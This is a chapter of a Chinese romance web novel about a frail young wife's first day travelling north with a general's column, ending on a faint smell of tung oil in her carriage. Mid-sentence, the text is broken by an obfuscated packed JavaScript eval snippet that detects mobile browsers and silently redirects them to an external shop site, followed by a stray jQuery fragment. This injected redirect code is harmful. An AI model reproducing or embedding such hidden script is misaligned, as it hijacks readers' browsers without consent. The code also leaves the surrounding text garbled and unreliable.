北上第一日，姜荞歌便很快明白了一件事——自己先前对随军北上这四个字的理解，多少有点想得太轻巧了。
出京时，她坐进谢凛特意替她备下的马车里，心里其实还带着一点很浅的雀跃。
车内铺了厚厚的软垫，角落里安着小巧的炭炉，手边是温着的热茶和几样甜口，连她常用的药匣都被安安稳稳放在伸手便能碰到的地方。这马车收拾得几乎像半间暖阁，若不是外头时不时传来亲兵整队的动静，她几乎要觉得，自己不是去北境，而是被谢凛裹了个严严实实，带出去换个地方养病。
谢凛骑马行在车旁，临出城门前还掀了帘子看她一眼。
“若不舒服，立刻说。”他声音仍是冷的，语气却比平日多了一分不容商量，“别硬撑。”
姜荞歌裹着狐裘坐在里头，抬头看他，轻轻应了声“好”。她今日特意把自己收拾得精神些，唇上也点了点颜色，像是存心要证明自己不是个一出门便要倒下的瓷娃娃。谢凛看了她片刻，像是在判断她这点精神气到底靠不靠谱，最后也没多说，只放下车帘，策马往前。
起先一段路还算好走。
京郊官道平整，马车行得稳，车轮碾过地面时只带起轻微的晃动，姜荞歌还掀起半边帘子往外看了看。天色清亮，远处城门渐渐落在身后，官道两旁的树木被风吹得微微摇着，京城那层总也化不开的脂粉气一点点淡下去，取而代之的是更空阔、更冷的风。
她看着看着，心里竟生出一点从未有过的新鲜感来，仿佛这一回，她不是被人送去哪里，而是真的自己选了一条路，哪怕这条路远得有些吓人。
只是这点轻松，到巳时过后便渐渐撑不住了。
出了京畿，官道便不比先前平整。马车越往北走，路上便越颠，哪怕车里已经垫了厚厚几层软褥，也还是被晃得人骨头都跟着发麻。
姜荞歌起初还咬着牙忍着，只将手指悄悄攥紧了膝上的帕子，想着总不能才出京半日，便先在谢凛面前露了怯。可那颠簸像是专门同她作对似的，一下接着一下，从脚底一路晃到胸口，晃得人心口发闷，胃里也一阵阵往上翻。
她从前身子弱，乘轿、坐车都不算多，最远也不过是在京城里头绕上半圈，哪里经得住这样一整日地赶路。到了后来，连车里的热茶都不敢多喝，生怕一口下去，再被路一颠，连人都要跟着翻个个儿。
跟车的婢女看她脸色一点点白下去，忍不住低声劝她：“姑娘，要不要叫停一停？”
姜荞歌摇了摇头，声音轻得发虚：“先别。”
婢女急道：“可是姑娘脸色不好。”
“我知道。”姜荞歌慢慢吸了一口气，勉强压下胸口那阵翻涌，“再走一段。若实在撑不住，我会说。”
谢凛已经把话说得很明白，军务不是夫妻商量，是军令。如今北境急召在前，哪怕谢凛为了她把后队放慢了些，真正该快的人也不能因她耽误。她是抱着药匣拦马跟来的，不是来让整支队伍围着她一口气喘不顺转的。
想到这里，她索性不再闭着眼挨颠，而是将车帘挑开极细一道缝，强迫自己去看外头。
前头亲兵每到岔路便会勒马看旗号，车夫遇见坑洼处会提前收缰，谢凛有时策马在前，有时又会不动声色地退回车旁。官道旁的驿牌、路边的茶棚、远处冒烟的人家，都被她一点点看进眼里。
她不懂军务，也不懂行军。可她总想着，自己至少可以多看一点，总不能一路蜷在车里，连外头走到哪里都不知道。
只是她不知道，自己每一次悄悄掀帘，都被谢凛看见了。
他骑在马背上，余光扫过车帘里露出的那一点白。她今日明明点了胭脂，可从车帘缝隙里看过去，那点颜色已经被颠簸消磨得差不多了，只剩一张越发白的小脸。
谢凛握着缰绳的手指慢慢收紧。
他早知道她撑不住，她那样的身子，出京前说得再有条理，再有胆气，也改不了底子虚弱的事实。可亲眼见她一点点白下去，仍不肯叫停，他心里那股火便怎么也压不住。
约莫午时，队伍在一处驿亭外停下歇脚。
车帘掀开时，外头天光一照进来，姜荞歌下意识闭了闭眼。她扶着车框要起身，脚下却明显发软。婢女忙伸手来扶，手还未碰到她，另一只手已先一步伸了进来，稳稳托住了她的手臂。
谢凛站在车边，眉头拧得厉害。
“这就是你说的撑得住？”他声音沉沉的，听着像是动了气。
姜荞歌被他扶着下了车，脚才沾地，胃里那阵翻腾便更厉害了。她强忍着不适，脸色白得几乎没什么血色，却还是下意识先去看谢凛的神情，轻声道：“我没事，就是……车有些晃。”
这解释听着实在没什么说服力。谢凛垂眸看她一眼，她整个人裹在大氅里，脸小得只剩一点，下巴都尖了，偏偏还要睁着一双泛着水气的眼说自己没事，瞧着半点也不让人省心。
他心里那股闷火一下子更盛：“姜荞歌。”
他连名带姓叫她的时候，总叫人心里先紧上一下。
姜荞歌果然抿了抿唇。
“出发前怎么说的？”谢凛问。
她低声道：“不许硬撑。”
“那你方才是在做什么？”
姜荞歌垂下眼，声音更轻了些：“我只是想再撑一段。”
“撑到病倒，再让我猜？”谢凛语气硬邦邦的，“我没那闲工夫同你猜。”
这话说得不大好听，姜荞歌听着，心口轻轻一缩。
她知道自己理亏，便没有辩，只低声道：“下回不会了。”
谢凛像是还想再说什么，目光落到她发白的唇上，到底又压了回去，只转头吩咐：“请府医。”
府医很快过来诊脉，老大夫搭上脉，神色倒还稳，只说是舟车劳顿、气血不畅，又被颠得厉害，叫她先缓一缓，午后最好慢些赶路，别再逞强。
谢凛站在一旁，听完只问了一句：“会不会起热？”
“夫人底子弱，劳累了难免有些反复，”府医斟酌着道，“若下午再颠得厉害，低烧也是有的。”
这话一出，屋里静了一瞬。
姜荞歌垂着眼，手指轻轻蜷了蜷。她几乎不必抬头，也能想象谢凛此刻脸色有多难看。她出发前还信誓旦旦地说自己会乖、会按时喝药，不给他添太多麻烦，如今看来，这份“不添太多麻烦”大约只能理解成——麻烦是一定要添的，只是看添多添少罢了。
谢凛半晌没说话，最后只压着嗓音道：“后头放慢些，遇到难走的地方提前绕。”
这话是对亲兵说的，也是对整支队伍说的。北境急召在前，主帅本该恨不得插翅飞回去，如今却为了车里这位新夫人，先与路过不去了。几个亲兵面上不敢显，心里却多少都有点诧异，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774182|209990||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只觉得将军这回娶回来的哪里是夫人，分明是个连马车都得哄着走的小祖宗。
姜荞歌自然也听出了这一层，心里顿时更闷了。
她用午膳时几乎没怎么动筷子，只勉强喝了小半碗热汤。谢凛坐在一旁，也没吃几口，见她放下勺子，便沉声问：“吃不下？”
姜荞歌不想再惹他皱眉，便轻轻点了点头，又小声补了一句：“下午我会好些的。”
谢凛看着她，几乎要被这句气笑。
她都这副模样了，居然还在惦记着下午会不会好些，像是只要熬过这一阵，便还能证明自己不是拖后腿的那个。谢凛原本满肚子的火，到了嘴边反而只剩下一句硬邦邦的：“你最好是。”
下午的路仍旧难熬。
哪怕队伍已刻意放慢了，北上的官道却不会因此变得平整半分。姜荞歌起先还想撑着精神翻一翻手边的医书，可书页在颠簸里晃得厉害，字也一个个散了开来，到后来她索性靠着车壁闭目养神。谁知闭上眼后，那股昏沉反倒更明显了，头一阵阵发沉，四肢也发软，连呼吸都带了点虚热。
她不敢叫谢凛。于是她让婢女把帘子挑开一点，让外头冷风进来些许。风一吹进来，胸口的闷意稍稍散了些，脸颊却被吹得发凉。
车外马蹄声靠近，谢凛的声音隔着车帘传来：“又做什么？”
姜荞歌一怔，低声道：“车里有些闷，透透气。”
谢凛没有立刻说话，片刻后，他才道：“帘子只开一点，别正迎着风。”
婢女忙照做。
马蹄声没有立刻离开，姜荞歌隔着一层车帘，隐约能看见他骑马行在旁边的影子。那影子高大、沉稳，随着马背轻轻起伏，却始终离她的车不远。
她忽然觉得心里安静了一点。
北边的云压得低，风也比午后更硬。前头探路的亲兵折返回来，说原本要走的驿道前方有一段被昨日雨水冲坏了，若绕行东边小道，能在天黑前赶到下一处驿馆。
谢凛听完，低头看了眼舆图，又看向姜荞歌所在的马车，沉默片刻，才道：“不走东边小道。”
亲兵一愣：“将军，若走西边旧道，怕是要多绕半个时辰。”
“那便多绕半个时辰。”谢凛收起舆图，“东边林子密，车队不好过。”
他没明说缘由，可姜荞歌隔着车帘听见了，还是轻轻抬了下眼。她知道，若不是带着自己这辆马车，谢凛多半不会这样绕。心里那点刚压下去的愧意又慢慢浮了上来。
她轻轻挑开车帘一线，往外看去。谢凛正勒马停在队伍侧前方，同亲兵低声说着什么。他身形高大，坐在马上时肩背挺直，玄色大氅被风吹得微微扬起，明明已经因为她放慢了许多，却看不出半点乱。
姜荞歌看了片刻，忽然觉得自己不能再这样下去。她不能总让谢凛一边赶路，一边还要时时猜她是不是难受、会不会发热、能不能继续走。
于是后头那段路，她再不敢闭眼犯昏。
车里软垫被她身子压得有些乱，炭炉里的火也渐渐低了。婢女替她添炭时，她顺手扶了一下滑开的车垫，指尖忽然顿了顿。
她闻到了一点味道。
很淡。
夹在炭火气、车木气和车厢里淡淡药香中，若不是她这些年与药匣、木盒、炭炉打交道久了，几乎分辨不出来。
那是一股新桐油的味道。